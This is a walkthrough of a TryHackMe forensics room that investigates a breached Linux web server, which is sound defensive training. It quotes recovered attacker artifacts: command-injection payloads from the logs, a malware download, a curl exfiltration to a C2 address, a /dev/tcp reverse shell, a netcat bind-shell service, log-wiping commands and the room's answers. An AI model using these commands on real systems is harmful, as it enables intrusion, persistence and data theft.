APIWizards Breach Write-up - TryHackMe
Investigating a compromised Linux machine.
APIWizards Breach
is an investigation room on TryHackMe. It’s all about deep analysis of a Linux machine that has been compromised.
Initial Access
We host our applications in home user directories and serve them via Nginx. This time, we deployed a simple API to get the date and time by specifying a timezone. Is there anything strange going on?
Question 1
Which programming language is a web application written in?
After logging into the machine via SSH, it can be seen that the application is written in Python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
dev@prod-web-003:~$ ls -lah
total 40K
drwxr-x--- 6 dev dev 4.0K Jul 30 2023 .
drwxr-xr-x 4 root root 4.0K Jul 30 2023 ..
drwxrwxr-x 4 dev dev 4.0K Jul 29 2023 apiservice
-rw------- 1 dev dev 189 Jul 30 2023 .bash_history
-rw-r--r-- 1 dev dev 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 dev dev 3.8K Jul 29 2023 .bashrc
drwx------ 3 dev dev 4.0K Jul 29 2023 .cache
drwxrwxr-x 5 dev dev 4.0K Jul 29 2023 .local
-rw-r--r-- 1 dev dev 807 Jan 6 2022 .profile
drwx------ 2 dev dev 4.0K Jul 28 2023 .ssh
-rw-r--r-- 1 dev dev 0 Jul 29 2023 .sudo_as_admin_successful
dev@prod-web-003:~$ cd apiservice/
dev@prod-web-003:~/apiservice$ ls -lah
total 20K
drwxrwxr-x 4 dev dev 4.0K Jul 29 2023 .
drwxr-x--- 6 dev dev 4.0K Jul 30 2023 ..
-rw-rw-r-- 1 dev dev 240 Jul 29 2023 main.py
drwxrwxr-x 2 dev dev 4.0K Jul 29 2023 __pycache__
drwxrwxr-x 3 dev dev 4.0K Jul 29 2023 src
Answer: Python
Question 2
Which programming language is a web application written in?
Since the web application is served via Nginx, the access logs can be found in /var/log/nginx/
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dev@prod-web-003:/var/log$ cd nginx/
dev@prod-web-003:/var/log/nginx$ ls
access.log access.log.1 error.log error.log.1
dev@prod-web-003:/var/log/nginx$ nano access.log
dev@prod-web-003:/var/log/nginx$ nano access.log.1
dev@prod-web-003:/var/log/nginx$ tail access.log.1
149.34.244.142 - - [30/Jul/2023:16:13:25 +0000] "GET /api/time HTTP/1.1" 200 65 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:13:32 +0000] "GET /api/time?tz=test HTTP/1.1" 200 66 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:14:26 +0000] "GET /api/time?tz=%22%20whoami%20%23 HTTP/1.1" 200 57 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:14:36 +0000] "GET /api/time?tz=%22%20pwd%20%23 HTTP/1.1" 200 71 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:14:40 +0000] "GET /api/time?tz=%22%20id%20%23 HTTP/1.1" 200 149 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:16:02 +0000] "GET /api/time?tz=%22%20which%20ssh%20%23 HTTP/1.1" 200 69 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:16:26 +0000] "GET /api/time?tz=%22%3B%20mkdir%20%2Fhome%2Fdev%2F%2Essh%20%26%26%20chmod%20700%20%2Fhome%2Fdev%2F%2Essh%20%23 HTTP/1.1" 200 97 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:16:29 +0000] "GET /api/time?tz=%22%3B%20mkdir%20%2Fhome%2Fdev%2F%2Essh%20%26%26%20chmod%20700%20%2Fhome%2Fdev%2F%2Essh%20%23 HTTP/1.1" 200 97 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:17:45 +0000] "GET /api/time?tz=%22%3B%20echo%20%22ssh%2Ded25519%20AAAAC3NzaC1lZDI1NTE5AAAAICA2iX8BUH3ySq42MSFp%2FHdNbiEFl5Eagg%2FQIyBg5NdP%22%20%3E%3E%20%2Fhome%2Fdev%2F%2Essh%2Fauthorized%5Fkeys%20%23 HTTP/1.1" 200 172 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:21:29 +0000] "GET /api/time?tz=%22%3B%20echo%20%22ssh%2Ded25519%20AAAAC3NzaC1lZDI1NTE5AAAAICA2iX8BUH3ySq42MSFp%2FHdNbiEFl5Eagg%2FQIyBg5NdP%22%20%3E%3E%20%2Fhome%2Fdev%2F%2Essh%2Fauthorized%5Fkeys%20%23 HTTP/1.1" 200 172 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
The attacker’s IP address has been logged.
Answer: 149.34.244.142
Question 3
Which vulnerability was found and exploited in the API service?
Given the attacker’s payloads in the access logs, he exploited the Command Injection
vulnerability in the API service.
Additionally, it can be verified by checking the source code of the API service.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import subprocess
from fastapi import APIRouter
api = APIRouter(prefix="/api")
def execute(cmd):
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
out, _ = proc.communicate()
return out.decode().strip()
@api.get("/")
async def root():
# TODO add documentation
return {}
@api.get("/zone")
async def zone():
cmd = "timedatectl list-timezones"
out = execute(cmd)
out = out.split("\n")
return {"status": "ok", "timezones": out}
@api.get("/time")
async def time(tz: str = "UTC"):
cmd = 'TZ="{}" date +"%Y-%m-%d %H:%M:%S"'
cmd = cmd.format(tz)
out = execute(cmd)
return {"status": "ok", "timezone": tz, "datetime": out}
Answer: OS Command Injection
Question 4
Which file contained the credentials used to privesc to root?
Within the application’s directory, there is a file named src/config.py
that contains the root password.
1
2
3
4
5
6
7
8
dev@prod-web-003:~/apiservice/src$ cat config.py
class config:
API_HOST = "0.0.0.0"
API_PORT = 8081
# TODO: Implement some authentication
# API_USER = "dev"
# API_PASS = "d3v-p455w0rd"
Answer: /home/dev/apiservice/src/config.py
Question 5
What file did the hacker drop and execute to persist on the server?
The attacker has escalated his privileges and dropped a file to persist on the server. The filename can be determined by checking the bash history of root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@prod-web-003:~# cat .bash_history
cd /tmp/
wget https://transfer.sh/2tttL9HJLG/rooter2
file rooter2
chmod +x rooter2 && ./rooter2
cd /root/
ls -la
cat .ssh/authorized_keys
ll .ssh/
curl --upload-file .dump.json http://5.230.66.147/me7d6bd4beh4ura8/upload
nc -zv 192.168.0.22 22
nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed
curl -v 192.168.0.22:8080
wget 192.168.0.22:8080/cde-backup.csv
>/var/log/wtmp
>/var/log/btmp
lastlog --clear --user root
lastlog --clear --user dev
mv cde-backup.csv .review.csv
systemctl status nginx
systemctl status apiservice
curl localhost
systemctl status apiservice
exit
As seen in the bash history, the malicious file is named rooter2
.
Answer: /tmp/rooter2
Question 6
Which service was used to host the “rooter2” malware?
The attacker used transfer.sh
to download the malicious file. transfer.sh
is a free and open-source file sharing service.
Answer: transfer.sh
Further Actions
“No way it was so easy to exploit! While we are calling the developer, please check if there are any backdoors left by the hackers. They were extremely clever the previous two times, so be vigilant!”
Question 1
Which two system files were infected to achieve cron persistence?
The attacker has created a cron job to persist on the system.
1
2
3
4
5
6
7
8
9
10
11
root@prod-web-003:~# cat /etc/crontab
[...]
SHELL=/bin/sh
[...]
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
20 4 * * * root eval $SYSTEMUPDATE
The cron job executes the SYSTEMUPDATE
variable. It’s set in the /etc/environment
file as shown below.
1
2
3
root@prod-web-003:~# cat /etc/environment
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
SYSTEMUPDATE=/bin/bash -c '/bin/bash -i >& /dev/tcp/5.230.66.147/1337 0>&1'
Answer: /etc/crontab, /etc/environment
Question 2
What is the C2 server IP address of the malicious actor?
In the bash history of root, the attacker’s IP address can be found.
1
2
3
4
5
6
7
8
9
10
root@prod-web-003:~# cat .bash_history
cd /tmp/
wget https://transfer.sh/2tttL9HJLG/rooter2
file rooter2
chmod +x rooter2 && ./rooter2
cd /root/
ls -la
cat .ssh/authorized_keys
ll .ssh/
curl --upload-file .dump.json http://5.230.66.147/me7d6bd4beh4ura8/upload
Answer: 5.230.66.147
Question 3
What port is the backdoored bind bash shell listening at?
The port can be found when checking the running processes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dev@prod-web-003:/var/log$ ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.9 0.5 100848 11620 ? Ss 17:32 0:03 /sbin/init
[...]
dev 558 0.4 2.6 1105000 53232 ? Ss 17:32 0:01 python3 main.py
root 560 0.0 0.0 6892 1244 ? Ss 17:32 0:00 /usr/sbin/cron -f -P
message+ 562 0.0 0.2 8764 5008 ? Ss 17:32 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --s
root 568 0.0 0.9 32652 19080 ? Ss 17:32 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 571 0.0 0.4 236280 9228 ? Ssl 17:32 0:00 /usr/libexec/polkitd --no-debug
syslog 573 0.0 0.2 222400 5524 ? Ssl 17:32 0:00 /usr/sbin/rsyslogd -n -iNONE
root 575 0.7 2.0 727884 40160 ? Ssl 17:32 0:02 /usr/lib/snapd/snapd
root 577 0.0 0.1 7368 3444 ? Ss 17:32 0:00 /bin/bash -c mkfifo /tmp/s; cat /tmp/s | /bin/bash 2>&1 | nc -l $((1786*2+6)) >/tmp/s
root 584 0.0 0.0 7368 1428 ? S 17:32 0:00 /bin/bash
root 585 0.0 0.0 3532 1212 ? S 17:32 0:00 nc -l 3578
Answer: 3578
Question 4
How does the bind shell persist across reboots?
When grepping for the command executed by the bind shell, it can be seen that it’s a part of systemd service.
1
2
3
root@prod-web-003:~# grep -R "nc -l" /
/etc/systemd/system/multi-user.target.wants/socket.service:| nc -l $((1786*2+6)) >/tmp/s; rm /tmp/s'
/etc/systemd/system/socket.service:| nc -l $((1786*2+6)) >/tmp/s; rm /tmp/s'
Answer: systemd service
Question 5
What is the absolute path of the malicious service?
The absolute path of the malicious service is revealed in the output of the previous command.
Answer: /etc/systemd/system/socket.service
Even More Persistence
“We finally reached the developer and he said he would need two weeks to fix the vulnerability! Meanwhile, can you please proceed with the DFIR? We need every malicious indicator you can find to hunt for them on other APIWizards servers.”
Question 1
Which port is blocked on the victim’s firewall?
This information can be found by checking the firewall rules
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@prod-web-003:/lib/systemd/system# iptables -L -n -v
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 ACCEPT tcp -- * * 5.230.66.147 0.0.0.0/0
0 0 DROP tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:3578
0 0 ACCEPT tcp -- * * 5.230.66.147 0.0.0.0/0
0 0 DROP tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:3578
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
3 180 ACCEPT tcp -- * * 0.0.0.0/0 5.230.66.147
3 180 ACCEPT tcp -- * * 0.0.0.0/0 5.230.66.147
Answer: 3578
Question 2
How do the firewall rules persist across reboots?
In the .bashrc file of root, the command to persist the firewall rules can be found.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@prod-web-003:~# cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
[ -z "$PS1" ] && return
# don't put duplicate lines in the history. See bash(1) for more options
# ... or force ignoredups and ignorespace
HISTCONTROL=ignoredups:ignorespace
[...]
shopt -s histappend
PROMPT_COMMAND="history -a;$PROMPT_COMMAND"
iptables -I OUTPUT 1 -p tcp -d 5.230.66.147 -j ACCEPT
iptables -I INPUT 1 -p tcp -s 5.230.66.147 -j ACCEPT
iptables -I INPUT 2 -p tcp -s 0.0.0.0/0 --dport 3578 -j DROP
curl -m 5 http://5.230.66.147/me7d6bd4beh4ura8/fix
Answer: /root/.bashrc
Question 3
How is the backdoored local Linux user named?
The backdoored local Linux user can be found in the /etc/passwd
file.
1
2
3
4
root@prod-web-003:~# cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:dev:/home/dev:/bin/bash
support:x:1001:1001:,,,:/home/support:/bin/bash
Answer: support
Question 4
Which privileged group was assigned to the user?
The groups
command can be used to check the groups of the user.
1
2
root@prod-web-003:~# groups support
support : support sudo
Answer: sudo
Question 5
What is the strange word on one of the backdoored SSH keys?
The backdoored SSH keys can be found in the .ssh
directory of root.
1
2
-rw------- 1 root root 87 Jul 30 2023 /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPllf3AGMrW5GhvcX7eq2vbCIxElU3Ef/HRm5ZwLVbKj ntsvc
ntsvc
is the strange word.
Answer: ntsvc
Question 6
Can you spot and name one more popular persistence method?
The SUID binary
is one of the popular persistence methods. Find the SUID binary in the system.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@prod-web-003:/usr/bin# find / -perm -u=s -type f 2>/dev/null
[...]
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/mount
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/clamav
/usr/bin/pkexec
/usr/bin/umount
/usr/libexec/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
Answer: SUID binary
Question 7
What are the original and the backdoored binaries from question 6?
In the previous command, the suspicious SUID binary was clamav
. By running the file
command on the binary, it can be determined if it’s backdoored.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/usr/bin/clamav: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=33a5554034feb2af38e8c75872058883b2988bc5, for GNU/Linux 3.2.0, stripped
root@prod-web-003:/usr/bin# ll /usr/bin/clamav
-rwsr-sr-x 1 root root 1396520 Jan 6 2022 /usr/bin/clamav*
root@prod-web-003:/usr/bin# /usr/bin/clamav --help
GNU bash, version 5.1.16(1)-release-(x86_64-pc-linux-gnu)
Usage: /usr/bin/clamav [GNU long option] [option] ...
/usr/bin/clamav [GNU long option] [option] script-file ...
GNU long options:
--debug
--debugger
--dump-po-strings
--dump-strings
--help
--init-file
--login
--noediting
--noprofile
--norc
--posix
--pretty-print
--rcfile
--restricted
--verbose
--version
Shell options:
-ilrsD or -c command or -O shopt_option (invocation only)
-abefhkmnptuvxBCHP or -o option
Type `/usr/bin/clamav -c "help set"' for more information about shell options.
Type `/usr/bin/clamav -c help' for more information about shell builtin commands.
Use the `bashbug' command to report bugs.
bash home page: <http://www.gnu.org/software/bash>
General help using GNU software: <http://www.gnu.org/gethelp/>
It’s clear that the clamav
binary is the clone of the bash
shell.
Answer: /usr/bin/bash, /usr/bin/clamav
Question 8
What technique was used to hide the backdoor creation date?
Timestomping is the technique used to manipulate the timestamps of files.
Answer: Timestomping
Final Target
“That’s a lot of persistence! But why would the hackers reveal all their techniques? Maybe to use the server as an entry point to our cardholder data environment? Please check for any traces of lateral movement or data exfiltration; perhaps dumps are still there.”
Question 1
What file was dropped which contained gathered victim information?
Take a look at the root’s bash history again.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@prod-web-003:~# cat .bash_history
cd /tmp/
wget https://transfer.sh/2tttL9HJLG/rooter2
file rooter2
chmod +x rooter2 && ./rooter2
cd /root/
ls -la
cat .ssh/authorized_keys
ll .ssh/
curl --upload-file .dump.json http://5.230.66.147/me7d6bd4beh4ura8/upload
nc -zv 192.168.0.22 22
nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed
curl -v 192.168.0.22:8080
wget 192.168.0.22:8080/cde-backup.csv
[...]
The attacker has exfiltrated the .dump.json
file.
Answer: /root/.dump.json
Question 2
According to the dropped dump, what is the server’s kernel version?
The content of .dump.json
:
1
2
root@prod-web-003:~# cat .dump.json
{"C0":"ODguMTU2LjEzMi42Nw==","C1":"cHJvZC13ZWItMDAzOjoyMDIzLTA3LTMwIDE2OjAzOjI2Ojo1LjE1LjAtNzgtZ2VuZXJpYzo6VWJ1bnR1IDIyLjA0LjIgTFRTOjpzc2gtMjI=","C2":"MTkyLjE2OC4wLjIxOjIyOjoxOTIuMTY4LjAuMjE6ODA6OjE5Mi4xNjguMC4yMjoyMg=="}
Decoding the base64 encoded strings:
1
2
3
88.156.132.67
prod-web-003::2023-07-30 16:03:26::5.15.0-78-generic::Ubuntu 22.04.2 LTS::ssh-22
192.168.0.21:22::192.168.0.21:80::192.168.0.22:22
The kernel version is 5.15.0-78-generic
.
Answer: 5.15.0-78-generic
Question 3
Which active internal IPs were found by the “rooter2” network scan?
From the previous output, the internal IPs can be found.
1
192.168.0.21:22::192.168.0.21:80::192.168.0.22:22
Answer: 192.168.0.21,192.168.0.22
Question 4
How did the hacker find an exposed HTTP index on another internal IP?
The attacker scanned the internal IPs for open ports using one of the LOTL techniques. It can be seen in the root’s bash history.
1
2
3
4
root@prod-web-003:~# cat .bash_history
nc -zv 192.168.0.22 22
nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed
[...]
Answer: nc -zv 192.168.0.22 22 nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed
Question 5
What command was used to exfiltrate the CDE database from the internal IP?
Again, the command can be found in the root’s bash history.
1
2
3
root@prod-web-003:~# cat .bash_history
[...]
wget 192.168.0.22:8080/cde-backup.csv
Answer: wget 192.168.0.22:8080/cde-backup.csv
Question 6
What is the most secret and precious string stored in the exfiltrated database?
It’s time to check the contents of the cde-backup.csv
file.
1
2
3
4
5
6
7
8
9
10
11
root@prod-web-003:~# cat .review.csv | head -n 10
name,email,savedcard
-,-,pwned{v3ry-secur3-cardh0ld3r-data-environm3nt}
Nolan Stanton,[email protected],5352 8841 6967 2533
Adrienne Clark,[email protected],5456 8428 8247 1455
Amaya Richmond,[email protected],5338 6565 4623 7944
Camille Gilbert,[email protected],5318 8381 6714 8386
Melvin Richards,[email protected],5145 8258 4368 8553
Aquila Chavez,[email protected],5462 9878 9566 4232
Alexandra Holman,[email protected],5359 1249 7733 9980
Cleo Harrell,[email protected],5288 6661 3421 3264
The wanted string is at the top of the file.
Answer: pwned{v3ry-secur3-cardh0ld3r-data-environm3nt}
Conclusion
The APIWizards Breach
room on TryHackMe is a great room to apply DFIR techniques including identifying vulnerabilities, analyzing logs and investigating the persistence methods of an attacker.